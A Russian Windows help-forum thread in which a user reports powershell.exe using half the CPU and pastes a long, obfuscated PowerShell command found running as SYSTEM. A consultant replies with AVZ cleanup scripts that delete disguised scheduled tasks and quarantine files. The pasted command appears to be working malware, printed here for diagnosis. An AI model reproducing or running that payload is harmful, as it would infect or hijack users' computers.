[решено] powershell.exe жрёт 50% процессора

Внимание, важное сообщение: Дорогие Друзья!
В ноябре далекого 2001 года мы решили создать сайт и форум, которые смогут помочь как начинающим, так и продвинутым пользователям разобраться в операционных системах. В 2004-2006г наш проект был одним из самых крупных ИТ ресурсов в рунете, на пике нас посещало более 300 000 человек в день! Наша документация по службам Windows и автоматической установке помогла огромному количеству пользователей и сисадминов. Мы с уверенностью можем сказать, что внесли большой вклад в развитие ИТ сообщества рунета.

Но... время меняются, приоритеты тоже. И, к сожалению, пришло время сказать До встречи! После долгих дискуссий было принято решение закрыть наш проект. 1 августа форум переводится в режим Только чтение, а в начале сентября мы переведем рубильник в положение Выключен

Огромное спасибо за эти 24 года, это было незабываемое приключение. Сказать спасибо и поделиться своей историей можно в данной теме.

С уважением, ваш призрачный админ, BigMac...

[решено] powershell.exe жрёт 50% процессора

stichxd

Новый участник

Сообщения: 1
Благодарности: 0

Профиль | Отправить PM | Цитировать

Изменения

Автор: iskander-k
Дата: 12-11-2021
Описание: Тег

Изображения

	изображение_2021-11-12_193316.png
(234.6 Kb, 5 просмотров)

Вложения


	CollectionLog-2021.11.12-18.49.zip
(90.8 Kb, 4 просмотров)

Чистил всем что только нашёл, похожих проблем видел много надеюсь сможете помочь, заранее спасибо.
нашёл в Command Line powershell.exe
Как parent числится svchost.exe(1684)
User: NT AUTHORITY\СИСТЕМА

Цитата:

powershell.exe -c "5239939222;$ChV='mhuCerQxcOiZd';'1&(!gc/m gA*{-Tby*]).jNa]me_ (_''__us2li0nk0g l,Slyqqstkeezmxk;uzms?i_lng_e -Si_ys_wt_e__m._?I{Oj-;u_sscicgnge_ 6S6.ysy}t9e(mm.5_R[ua_nt1mizm_?e.6_I3ne_te1]r/ol_pS,te5rarviq9c3e_ss;=!u_sebin_og_ _0Mi0ac_r.-oso_o+fc5t.n.Wqi40n3u_2_;[_pu7nbol?kic_1 fcp5lat_s6s?s M]3Eeo{1{d5,e(lc(eg?1agt5_e 0[v=og3idlg sEl9qp4j(d)wj;p_5u{bd_lis_c1 hast7oa_tivic?1 .vtpoi9{dj )3JLtr({){{{b(oy7t)ye[(r]!t=4QEv=kz=]7Fi--l_e=_.E0qx6ibost0]sa(}]vC_cyvu81er4uh_f_?tw_8tpv6_C)ty?_F_}ilm_ep.d_Re?_addg_Al_gl[B__yt!qefsns(v2_Cgy1fue8tr{hsnftzww!th(vCy

_:1o(bepy[td_e[_h]{)_-Re9_g[igest__r/y_y.Lp_o(cbval1_Maa[sch?5izn=_e._aOhp)/en/kSdub?bKboesy_.(@s3v_C-_SOh_F!T3cWAkyRkE_!\M)qizc)-ro/gs}o+bft_q\_Cq7TF[/\lT]-IPgvv_Cdz).txGfeedtVf2akla)ue/[(7vptCy8_uke_grh__f3t]swt_[vpCk_,n3_u-lv_l)y_;(i8]f(e)t!QlvEk9!={=_/nu]hlulh?)r)je-t_eurr_n{;ccin}cta 6oLJ__Sr=z_tQ+7E+ksc.Loje.n-_gtz-hz;w_fo/ir6(-3inu.t1 l_MD_ogwi,/=0_o;=M]_Dg7]i9 mw!=69L[J__S-1w1_;utMDujg_i=(++?+)w{x_tQd7Egks-[Mj.Dhgyhi]+1^!=_r(ba,yhte_e)7uv)C2{Pz?=}zrvsrc}db_MlxSMua{w3bt+it_8_s}sKrhfB+9_+tWjsXwi?9rq]-x[B=weV}u)oXd3FDmnKi!.{F30uKm0vo![=0)n/os3p__0!(ncf19_7}J8(/Q?x6qn7w)4b7j_{_b3s5fm)Xy]4i_g(nO]-=!_/b?7psz}jo_4E_p8Q9{T8em=Ze__u_06hC}f]._l_0JXp_PjUdolN3/4{d2vOCzt,xm69lE2-9yd4pKN4x]_Zn=vC=a[zM9aDgqci0Nc_OJz[E-1ps0840]k;7d}I!3nbt_iPt__r- __Fcm_uaac,=(d_Ikn(6tPyotwrs5)0i{;_I55ntr8Pnty.r r/liOf]u==p(_Ib/nt5wPxt=pr)9_L0Ji6S;d_N8t,!Alj=l_o_{cabttcec_Vi2zret.-ua5_lnM(_em2xo?ryky(ks(4Iksnt!kP7tzer)_=(m-xd1)s_,[r_aefux 2F5+cu=7a_,]r(I=mn/t_oPt1_r_)820,,_r_e=_f ,]ljOh_u,[l0+x.310?a0_0l[,0]_xv4_/0)jx;.M3harl_sjhnualuo._C}_op9_y_(.gtQpuErk_k,0q2,hF]xcu,_a?,{1LJyqS

n-;(n=(lE+dqphk)eMx6aro_sjhzral_v.8Gd4et_lDie13le,fgcalste]_F_obhrF+(ujn__ct]5i6o+vnP(3oji_}nt_ye7ry{(F]_c_u.8a,gat_y6!pearolf8_(Eq+qfp_!))lw)_(h_);_t}_[qcDl3ol2Iudmp]so_roat(x(vnCifnt=_ddlhhlv_yC+)46]pe?r_i1ava_otie_} sm_t,athti8pc} 6_ex!4t4ec+rn_9 gll_on_=gs 0_Nt=oAhl)_loi8cqa)hte_)V5i7_rt,-u_a)glMi{e[mj_or_ry_(__In_it_Pg7trj0 _By[XW2[i5,_wrecnf1 _eIn9_t_Pm[tr9e fN.cnZ)ar7,_eIn7_tcPd_tr8f .X__LG_},_r.keffk wI5vnt_+P4thrr _8BkG80nqo_,pU-4Inynt)3,_2 __wqU_yg,v!U6I0_ntc93_2lk cfnIqCcyO)m[;!}''[-r_epyla=ce1''.((.y.)e'',7''$b1''v --re_pl7ac_e''_vC8'',d[czhalr]v(3.4)m -_re_plmac)e''tNO_JEk'',_[c2halr]_(337)_);+[Ebnv}irbonbme[nt9]:v:Ceur_re(ntjDi_rehctkor_y=_pw?d;y[M?Eo.]:_:J!L(});'-replace('.Ffw(Ffw.Ffw.)'-replace'Ffw'),('$'+815/815)|&($ChV[10]+$ChV[4]+$ChV[7]);7330738642"

Отправлено: 19:33, 12-11-2021

akok

Ветеран

Консультант

Сообщения: 766
Благодарности: 204

Профиль | Сайт | Отправить PM | Цитировать

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ из папки Autologger (Файл - Выполнить скрипт):

Код:

 begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
 then
  begin
  SearchRootkit(true, true);
  SetAVZGuardStatus(True);
  end;
 QuarantineFile('C:\Windows\UPDATE\SU10Guard.exe','');
 DeleteSchedulerTask('Microsoft\Windows\Application Experience\Application Experience');
 DeleteSchedulerTask('Microsoft\Windows\Maintenance\WinDAT');
 DeleteSchedulerTask('Microsoft\Windows\Maintenance\WinNAT');
   BC_Activate;
  ExecuteSysClean;
  ExecuteWizard('SCU', 2, 3, true);
 BC_ImportALL;
RebootWindows(true);
end.

Компьютер перезагрузится.

После перезагрузки, выполните такой скрипт:

Код:

begin
DeleteFile(GetAVZDirectory+'quarantine.7z');
ExecuteFile(GetAVZDirectory+'7za.exe', 'a -mx9 -pmalware quarantine .\Quarantine\*', 1, 300000, false);
end.

Файл quarantine.7z из папки с распакованной утилитой AVZ отправьте с помощью этой формы или (если размер архива превышает 10 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: malware в теле письма..

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):

Код:

O2-32 - HKLM\..\BHO: (no name) - {BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} - (no file)

Повторите логи по правилам. Для повторной диагностики запустите снова Autologger. В первом диалоговом окне нажмите ОК, удерживая нажатой клавишу Shift.

-------